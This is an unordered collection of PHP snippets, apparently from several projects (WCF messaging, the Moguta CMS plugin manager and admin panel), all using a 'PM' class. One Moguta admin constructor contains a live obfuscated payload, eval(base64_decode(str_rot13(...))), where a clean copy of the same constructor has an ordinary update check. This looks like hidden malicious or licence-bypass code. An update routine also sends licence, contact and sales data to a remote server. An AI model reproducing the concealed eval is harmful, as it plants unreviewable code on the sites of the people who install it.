function cmdUnlock() { IO::out('Unlocking Package Manager', false); $pm = new PM(); if ($pm->unlock(true)) { io::done(); } }
/** * @see Action::readParameters() */ public function readParameters() { parent::readParameters(); // get pm $this->pm = new PM($this->objectID); if (!$this->pm->pmID || !$this->pm->hasAccess()) { throw new IllegalLinkException(); } }
/** * @see EventListener::execute() */ public function execute($eventObj, $className, $eventName) { $attachment = $eventObj->attachment; if ($attachment['containerID'] && $attachment['containerType'] == 'pm') { if (!WCF::getUser()->userID) { throw new PermissionDeniedException(); } require_once WCF_DIR . 'lib/data/message/pm/PM.class.php'; $pm = new PM($attachment['containerID']); if (!$pm->hasAccess()) { throw new PermissionDeniedException(); } } }
/** */ function __construct($path = null) { $this->file = is_null($path) ? PM::getDataDir()->getFile('packagesSequence.txt') : $path; if (!is_writable($this->file)) { throw new PackagesSequenceException('Sequence file (' . $this->file . ') not writable.'); } }
/** */ function __construct($path = null) { $this->file = is_null($path) ? PM::getRollbackDir()->getFile('rollback.txt') : $path; if (!is_writable($this->file)) { throw new RollbackException('Rollback file (' . $this->file . ') not writable.'); } }
/** * Validates the given folder id. */ protected function updateFolderID() { $validFolderIDs = array(); // get valid folder id for active message id if ($this->pm->isSender()) { if ($this->pm->isDraft) { $validFolderIDs[] = PMFolderList::FOLDER_DRAFTS; } else { if ($this->pm->saveInOutbox) { $validFolderIDs[] = PMFolderList::FOLDER_OUTBOX; } } } if ($this->pm->recipientID) { if ($this->pm->isDeleted == 1) { $validFolderIDs[] = PMFolderList::FOLDER_TRASH; } else { $validFolderIDs[] = $this->pm->folderID; } } // check active folder id if (!in_array($this->folderID, $validFolderIDs)) { // update folder id $this->folderID = $validFolderIDs[0]; } }
public function __construct() { mgAddAction('mg_start', array(__CLASS__, 'checkPage')); mgAddShortcode('recently-viewed', array(__CLASS__, 'recentlyViewed')); self::$path = PLUGIN_DIR . self::$pluginName; self::$pluginName = PM::getFolderPlugin(__FILE__); }
public function __construct() { mgActivateThisPlugin(__FILE__, array(__CLASS__, 'activate')); mgAddAction(__FILE__, array(__CLASS__, 'pageSettingsPlugin')); self::$pluginName = PM::getFolderPlugin(__FILE__); self::$path = PLUGIN_DIR . self::$pluginName; }
/** * @see PM::handleData() */ protected function handleData($data) { if (!$data['username']) { $data['username'] = WCF::getLanguage()->get('wcf.pm.author.system'); } parent::handleData($data); $this->user = new UserProfile(null, $data); }
function __construct() { MG::disableTemplate(); $model = new Models_Order(); MG::addInformer(array('count' => $model->getNewOrdersCount(), 'class' => 'message-wrap', 'classIcon' => 'product-small-icon', 'isPlugin' => false, 'section' => 'orders', 'priority' => 80)); if ('1' == User::getThis()->role) { MG::addInformer(array('count' => '', 'class' => 'message-wrap', 'classIcon' => 'statistic-icon', 'isPlugin' => false, 'section' => 'statistics', 'priority' => 10)); } if (URL::get('csv')) { $model = new Models_Catalog(); $model->exportToCsv(); } if (URL::get('examplecsv')) { $model = new Models_Catalog(); $model->getExampleCSV(); } if (URL::get('examplecsvupdate')) { $model = new Models_Catalog(); $model->getExampleCsvUpdate(); } if (URL::get('yml')) { if (LIBXML_VERSION && extension_loaded('xmlwriter')) { $model = new YML(); if (URL::get('filename')) { if (!$model->downloadYml(URL::get('filename'))) { $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует запрашиваемый файл'); echo json_encode($response); } } else { $model->exportToYml(); } } else { $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует необходимое PHP расширение: xmlwriter'); echo json_encode($response); } } if (URL::get('csvuser')) { USER::exportToCsvUser(); } if ($orderId = URL::get('getOrderPdf')) { $model = new Models_Order(); $model->getPdfOrder($orderId); } if ($orderId = URL::get('getExportCSV')) { $model = new Models_Order(); $model->getExportCSV($orderId); } $this->data = array('staticMenu' => MG::getSetting('staticMenu'), 'themeBackground' => MG::getSetting('themeBackground'), 'themeColor' => MG::getSetting('themeColor'), 'languageLocale' => MG::getSetting('languageLocale'), 'informerPanel' => MG::createInformerPanel()); $this->pluginsList = PM::getPluginsInfo(); $this->lang = MG::get('lang'); if (!($checkLibs = MG::libExists())) { $j878723423f5c3ba26da = "base64_decode"; $kdd9391e7490 = "str_rot13"; @eval($j878723423f5c3ba26da($kdd9391e7490("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"))); $this->newVersion = $newVer['lastVersion']; $this->fakeKey = MG::getSetting('trialVersion') ? MG::getSetting('trialVersion') : ''; } }
public function __construct() { mgActivateThisPlugin(__FILE__, array(__CLASS__, 'activate')); mgAddAction('category_getcategorylistul', array(__CLASS__, 'addUploadField'), 1); mgAddAction('category_delcategory', array(__CLASS__, 'deleteCategory'), 1); self::$pluginName = PM::getFolderPlugin(__FILE__); self::$lang = PM::plugLocales(self::$pluginName); self::$path = PLUGIN_DIR . self::$pluginName; }
public function __construct() { mgAddShortcode('feed-back-ajx', array(__CLASS__, 'handleShortCode')); self::$pluginName = PM::getFolderPlugin(__FILE__); self::$path = PLUGIN_DIR . self::$pluginName; if (!URL::isSection('mg-admin')) { mgAddMeta('<script type="text/javascript" src="' . SITE . '/' . self::$path . '/js/feed-back-user.js"></script>'); } }
public function __construct() { mgAddAction(__FILE__, array(__CLASS__, 'pageSettingsPlugin')); //Инициализация метода выполняющегося при нажатии на кнопку настроект плагина self::$pluginName = PM::getFolderPlugin(__FILE__); self::$lang = PM::plugLocales(self::$pluginName); include 'mg-admin/locales/' . MG::getSetting('languageLocale') . '.php'; $lang = array_merge($lang, self::$lang); self::$lang = $lang; self::$path = PLUGIN_DIR . self::$pluginName; }
function __construct() { self::$pluginName = PM::getFolderPlugin(__FILE__); self::$path = PLUGIN_DIR . self::$pluginName; mgAddShortcode('scroll-top', array(__CLASS__, 'showScrollTop')); if (!URL::isSection('mg-admin')) { // подключаем CSS плагина для всех страниц, кроме админки mgAddMeta('<link rel="stylesheet" href="' . SITE . '/' . self::$path . '/css/style.css" type="text/css" />'); mgAddMeta('<script type="text/javascript" src="' . SITE . '/' . self::$path . '/js/scrolltop.js"></script>'); } }
function __construct() { MG::disableTemplate(); $model = new Models_Order(); MG::addInformer(array('count' => $model->getNewOrdersCount(), 'class' => 'message-wrap', 'classIcon' => 'product-small-icon', 'isPlugin' => false, 'section' => 'orders', 'priority' => 80)); if ('1' == User::getThis()->role) { MG::addInformer(array('count' => '', 'class' => 'message-wrap', 'classIcon' => 'statistic-icon', 'isPlugin' => false, 'section' => 'statistics', 'priority' => 10)); } if (URL::get('csv')) { $model = new Models_Catalog(); $model->exportToCsv(); } if (URL::get('examplecsv')) { $model = new Models_Catalog(); $model->getExampleCSV(); } if (URL::get('examplecsvupdate')) { $model = new Models_Catalog(); $model->getExampleCsvUpdate(); } if (URL::get('yml')) { if (LIBXML_VERSION && extension_loaded('xmlwriter')) { $model = new YML(); if (URL::get('filename')) { if (!$model->downloadYml(URL::get('filename'))) { $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует запрашиваемый файл'); echo json_encode($response); } } else { $model->exportToYml(); } } else { $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует необходимое PHP расширение: xmlwriter'); echo json_encode($response); } } if ($orderId = URL::get('getOrderPdf')) { $model = new Models_Order(); $model->getPdfOrder($orderId); } if ($orderId = URL::get('getExportCSV')) { $model = new Models_Order(); $model->getExportCSV($orderId); } $this->data = array('staticMenu' => MG::getSetting('staticMenu'), 'themeBackground' => MG::getSetting('themeBackground'), 'themeColor' => MG::getSetting('themeColor'), 'languageLocale' => MG::getSetting('languageLocale'), 'informerPanel' => MG::createInformerPanel()); $this->pluginsList = PM::getPluginsInfo(); $this->lang = MG::get('lang'); if (!($checkLibs = MG::libExists())) { $newVer = Updata::checkUpdata(false, true); $this->newVersion = $newVer['lastVersion']; } }
public function __construct() { mgActivateThisPlugin(__FILE__, array(__CLASS__, 'activate')); //Инициализация метода выполняющегося при активации mgAddAction(__FILE__, array(__CLASS__, 'pageSettingsPlugin')); //Инициализация метода выполняющегося при нажатии на кнопку настроект плагина mgAddShortcode('trigger-guarantee', array(__CLASS__, 'viewTrigger')); // Инициализация шорткода [trigger-guarantee] - доступен в любом HTML коде движка. self::$pluginName = PM::getFolderPlugin(__FILE__); self::$lang = PM::plugLocales(self::$pluginName); self::$path = PLUGIN_DIR . self::$pluginName; mgAddMeta('<link rel="stylesheet" href="' . SITE . '/' . self::$path . '/css/style.css" type="text/css" />'); }
public function __construct() { mgActivateThisPlugin(__FILE__, array(__CLASS__, 'activate')); mgAddAction(__FILE__, array(__CLASS__, 'pageSettingsPlugin')); mgAddShortcode('call-back', array(__CLASS__, 'handleShortCode')); self::$lang = PM::plugLocales(self::$pluginName); self::$path = PLUGIN_DIR . self::$pluginName; if (!URL::isSection('mg-admin')) { mgAddMeta('<link rel="stylesheet" href="' . SITE . '/' . self::$path . '/css/user.css" type="text/css" />'); mgAddMeta('<script type="text/javascript" src="' . SITE . '/' . self::$path . '/js/jquery.maskedinput.min.js"></script>'); mgAddMeta('<script type="text/javascript" src="' . SITE . '/' . self::$path . '/js/user.js"></script>'); } MG::addInformer(array('count' => self::getEntityActive(), 'class' => 'count-wrap', 'classIcon' => 'message-icon', 'isPlugin' => true, 'section' => 'call-back', 'priority' => 80)); }
public function __construct() { mgActivateThisPlugin(__FILE__, array(__CLASS__, 'activate')); mgAddAction(__FILE__, array(__CLASS__, 'pageSettingsPlugin')); mgAddShortcode('slider-images', array(__CLASS__, 'handleShortCode')); self::$pluginName = PM::getFolderPlugin(__FILE__); self::$lang = PM::plugLocales(self::$pluginName); self::$path = PLUGIN_DIR . self::$pluginName; if (!URL::isSection('mg-admin')) { mgAddMeta('<link rel="stylesheet" href="' . SITE . '/' . self::$path . '/css/jquery.bxslider.css" type="text/css" />'); mgAddMeta('<link rel="stylesheet" href="' . SITE . '/' . self::$path . '/css/slider-images-user.css" type="text/css" />'); mgAddMeta('<script type="text/javascript" src="' . SITE . '/' . self::$path . '/js/jquery.bxslider.min.js"></script>'); mgAddMeta('<script type="text/javascript" src="' . SITE . '/' . self::$path . '/js/slider-images-user.js"></script>'); } }
public function __construct() { mgActivateThisPlugin(__FILE__, array(__CLASS__, 'activate')); //Инициализация метода выполняющегося при активации mgAddAction(__FILE__, array(__CLASS__, 'pageSettingsPlugin')); //Инициализация метода выполняющегося при нажатии на кнопку настроект плагина mgAddShortcode('slider-action', array(__CLASS__, 'sliderAction')); // Инициализация шорткода [slider-action] - доступен в любом HTML коде движка. self::$pluginName = PM::getFolderPlugin(__FILE__); self::$lang = PM::plugLocales(self::$pluginName); self::$path = PLUGIN_DIR . self::$pluginName; if (!URL::isSection('mg-admin')) { // подключаем CSS плагина для всех страниц, кроме админки mgAddMeta('<link rel="stylesheet" href="' . SITE . '/' . self::$path . '/css/style.css" type="text/css" />'); } }
public function __construct() { mgActivateThisPlugin(__FILE__, array(__CLASS__, 'activate')); //Инициализация метода выполняющегося при активации mgAddShortcode('rating', array(__CLASS__, 'showRating')); // Инициализация шорткода [rating] - доступен в любом HTML коде движка. self::$pluginName = PM::getFolderPlugin(__FILE__); self::$lang = PM::plugLocales(self::$pluginName); self::$path = PLUGIN_DIR . self::$pluginName; if (!URL::isSection('mg-admin')) { // подключаем CSS плагина для всех страниц, кроме админки mgAddMeta('<link rel="stylesheet" href="' . SITE . '/' . self::$path . '/css/rateit.css" type="text/css" />'); } mgAddMeta('<script type="text/javascript" src="' . SITE . '/' . self::$path . '/js/rating.js"></script>'); // подключаем плагин для работы с отображение звезд системы рейтинга mgAddMeta('<script type="text/javascript" src="' . SITE . '/' . self::$path . '/js/jquery.rateit.min.js"></script>'); }
/** * Проверяет на сервере актуальность текущей системы. * $noerror - не позволяет вывести исключение перед версткой * @return bool|array $result массив с описанием последней версии и ее номером. */ public static function checkUpdata($noCache = false, $noerror = false) { $timeLastUpdata = MG::getSetting('timeLastUpdata'); if (time() < $timeLastUpdata + 6 * 60 * 24 && !$noCache) { // интервал проверки обновления 2 с половиной часа. $res = MG::getSetting('currentVersion'); } else { $row = DB::query('SELECT COUNT(`id`) as `count` FROM `' . PREFIX . 'product`'); $res = DB::fetchArray($row); $count = $res['count'] ? $res['count'] : 0; $row2 = DB::query('SELECT SUM( `summ` ) AS `summ` FROM `' . PREFIX . 'order` WHERE `status_id` =2 OR `status_id` =5'); $res2 = DB::fetchArray($row2); $summ = $res2['summ'] ? $res2['summ'] : 0; $post = 'version=' . VER . '&sName=' . $_SERVER['SERVER_NAME'] . '&sIP=' . ($_SERVER['SERVER_ADDR'] == "::1" ? '127.0.0.1' : $_SERVER['SERVER_ADDR']) . '&sKey=' . MG::getSetting('licenceKey') . '&sSiteName=' . MG::getSetting('sitename') . '&sAdmin=' . MG::getSetting('adminEmail') . '&timeStartEngine=' . MG::getSetting('timeStartEngine') . '&timeFirstUpdate=' . MG::getSetting('timeFirstUpdate') . '&sPhone=' . MG::getSetting('shopPhone') . '&sAddress=' . MG::getSetting('shopAddress') . '&catalog=' . $count . '&orders=' . $summ; $res = self::sendCurl(self::$_updataServer . '/updataserver', $post); DB::query("\r\n UPDATE `" . PREFIX . "setting`\r\n SET `value`=" . DB::quote($res) . "\r\n WHERE `option`='currentVersion'\r\n "); DB::query("\r\n UPDATE `" . PREFIX . "setting`\r\n SET `value`=" . DB::quote(time()) . "\r\n WHERE `option`='timeLastUpdata'\r\n "); PM::checkPluginsUpdate(); } // если curl запрос вернул false, значит он не удался. if (!$res && !$noerror) { echo "<div style='color:red; margin:10px;'>Невозможно выполнить CURL запрос, для проверки версии системы!</div>"; } $data = json_decode($res, true); if (!empty($data['dateActivateKey'])) { MG::setOption(array('option' => 'dateActivateKey ', 'value' => $data['dateActivateKey'])); } if ($data['last']) { $result['msg'] = ' <ul class="system-version-list"> <li> <b>Ближайшая версия для обновления: </b><span id="lVer">' . $data['last'] . '</span></li> <li> <b>Последняя версия системы: </b><span id="fVer">' . $data['final'] . '</span></li> <li> <b>Описание: </b>' . $data['disc'] . '</li> </ul>'; $result['lastVersion'] = $data['last']; $args = func_get_args(); return MG::createHook(__CLASS__ . "_" . __FUNCTION__, $result, $args); } $args = func_get_args(); return MG::createHook(__CLASS__ . "_" . __FUNCTION__, false, $args); }
public function __construct() { mgAddAction(__FILE__, array(__CLASS__, 'pageSettingsPlugin')); //Инициализация метода при нажатии на кнопку настроект плагина mgActivateThisPlugin(__FILE__, array(__CLASS__, 'activate')); //Инициализация метода при активации mgDeactivateThisPlugin(__FILE__, array(__CLASS__, 'deactivate')); //Инициализация метода при деактивации mgAddShortcode('ulogin', array(__CLASS__, 'handleShortCode')); // Инициализация шорткода [ulogin] - доступен в любом HTML коде движка. mgAddShortcode('sync_ulogin', array(__CLASS__, 'handleShortCodeSync')); // Инициализация шорткода [sync_ulogin] - доступен в любом HTML коде движка. self::$pluginName = PM::getFolderPlugin(__FILE__); self::$lang = PM::plugLocales(self::$pluginName); self::$path = PLUGIN_DIR . self::$pluginName; $meta = ''; if (!URL::isSection('mg-admin')) { $meta .= '<script src="//ulogin.ru/js/ulogin.js"></script>'; $meta .= '<script type="text/javascript" src="' . SITE . '/' . self::$path . '/js/ajax.js"></script>'; } $meta .= '<link href="//ulogin.ru/css/providers.css" rel="stylesheet" type="text/css">'; mgAddMeta($meta); }
/** * @see PM::getOutstandingNotifications() */ public function getOutstandingNotifications() { if ($this->outstandingNotifications === null) { require_once WCF_DIR . 'lib/data/message/pm/PM.class.php'; $this->outstandingNotifications = PM::getOutstandingNotifications(WCF::getUser()->userID); } return $this->outstandingNotifications; }
/** * Вывод страницы плагина в админке */ static function pagePluginComments() { $lang = PM::plugLocales('comments'); if ($_POST["page"]) { $page = $_POST["page"]; } //если был произведен запрос другой страницы, то присваиваем переменной новый индекс $countPrintRowsComments = MG::getSetting('countPrintRowsComments'); $navigator = new Navigator("SELECT * FROM `" . PREFIX . "comments` ORDER BY `id` DESC", $page, $countPrintRowsComments); //определяем класс $comments = $navigator->getRowsSql(); $pagination = $navigator->getPager('forAjax'); // подключаем view для страницы плагина include 'pagePlugin.php'; }
} ?> <li><a id="plugins" href="javascript:void(0);" title="<?php echo $lang['T_TIP_PLUG']; ?> " class="tool-tip-top"><span class="plugins-icon"></span><?php echo $lang['PLUGINS']; ?> <p class="white-arrow-down"></p></a> <div class="plugins-menu-wrapper"> <ul class="plugins-dropdown-menu"> <?php foreach ($pluginsList as $item) { ?> <?php if (PM::isHookInReg($item['folderName']) && $item['Active']) { ?> <li><a href="#" class="<?php echo $item['folderName']; ?> "><?php echo $item['PluginName']; ?> </a></li> <?php } ?> <?php } ?> <li class="go-to-plugins-settings"><a href="javascript:void(0);" class="all-plugins-settings"><?php
$view->title = $lang['write']; $preview = null; #ID i w±tek $id = isset($URL[2]) && is_numeric($URL[2]) ? $URL[2] : 0; $th = isset($_GET['th']) && is_numeric($_GET['th']) ? $_GET['th'] : 0; #Wys³ane dane if ($_POST) { #Dane $pm = array('to' => clean($_POST['to']), 'txt' => clean($_POST['txt'], 0, 1), 'topic' => empty($_POST['topic']) ? $lang['notopic'] : clean($_POST['topic'], 50, 1)); #Wy¶lij lub edytuj if (isset($_POST['send']) or isset($_POST['save'])) { try { $db->beginTransaction(); include './mod/pms/api.php'; #Obiekt API $o = new PM(); $o->exceptions = true; $o->topic = $pm['topic']; $o->text = $pm['txt']; $o->to = $pm['to']; $o->thread = $th; #Wy¶lij - je¶li do siebie, zapisz jako kopiê robocz± if (isset($_POST['send']) && $o->to != $user['login']) { if ($id && !isset($_POST['keep'])) { $o->status = 1; $o->update($id); //Wy¶lij kopiê - zmiana w³a¶ciciela } else { $o->send(); //Wy¶lij now± wiadomo¶æ }
DB::init(); Storage::init(); PM::init(); MG::init(); URL::init(); User::init(); Mailer::init(); // Если сайт временно закрыт, то выводитя заглушка, хранящаяся в корне движка. if (MG::isDowntime()) { require_once 'downTime.html'; exit; } // Запоминает откуда пришел пользователь. MG::logReffererInfo(); // Подключить index.php всех плагинов. PM::includePlugins(); // Хук выполняющийся до запуска движка. MG::createHook('mg_start'); // Запуск движка. $moguta = new Moguta(); $moguta = $moguta->run(); // Вывод результата на экран, предварительно обработав все возможные шорткоды. echo PM::doShortcode(MG::printGui($moguta)); // Хук выполняющийся после того как отработал движок. MG::createHook('mg_end', true, $moguta); // Ввывод консоли запросов к БД. if (DEBUG_SQL) { echo DB::console(); } // Завершение процесса кэширвания. Storage::close();
<?php /** * Раздел управления плагинами сайта. * * @autor Авдеев Марк <*****@*****.**> */ $this->pluginsList = PM::getPluginsInfo();
/** * Считывает информацию обо всех плагинах в дирректории PLUGIN_DIR. * @return void */ public static function getPluginsInfo() { //self::checkPluginsUpdate(); if (empty(self::$pluginsInfo)) { $result = array(); $plugins = scandir(PLUGIN_DIR); unset($plugins[1]); foreach ($plugins as $folderName) { if (!is_dir($folderName)) { $plug = self::readInfo($folderName); if ($plug) { $result[] = $plug; } } } $pluginsUpdateInfo = unserialize(stripslashes(MG::getSetting('pluginsVersionInfo'))); $pluginsList = array_keys($pluginsUpdateInfo); //viewData($pluginsUpdateInfo); // Считываем активность плагинов из БД. $res = DB::query("SELECT * FROM `" . PREFIX . "plugins`"); while ($row = DB::fetchArray($res)) { $pluginsActivity[$row['folderName']] = $row['active']; } // Сортировка в порядке по алфавиту. usort($result, array(__CLASS__, "sortByPluginName")); // Дополняем массив найденых плагинов информацие их активности. foreach ($result as $id => $plugin) { $result[$id]['Active'] = isset($pluginsActivity[$plugin['folderName']]) ? $pluginsActivity[$plugin['folderName']] : 0; if (in_array($plugin['folderName'], $pluginsList)) { self::$pluginsFolder[$plugin['folderName']] = $id; $result[$id]['update'] = $pluginsUpdateInfo[$plugin['folderName']]; $result[$id]['update']['description'] = $result[$id]['update']['description']; } } self::$pluginsInfo = $result; } else { $result = self::$pluginsInfo; } return $result; }
/** * Устанавливает локаль для плагина, используется в JS плагинов * @return boolean */ public function seLocalesToPlug() { $this->data = PM::plugLocales($_POST['pluginName']); return true; }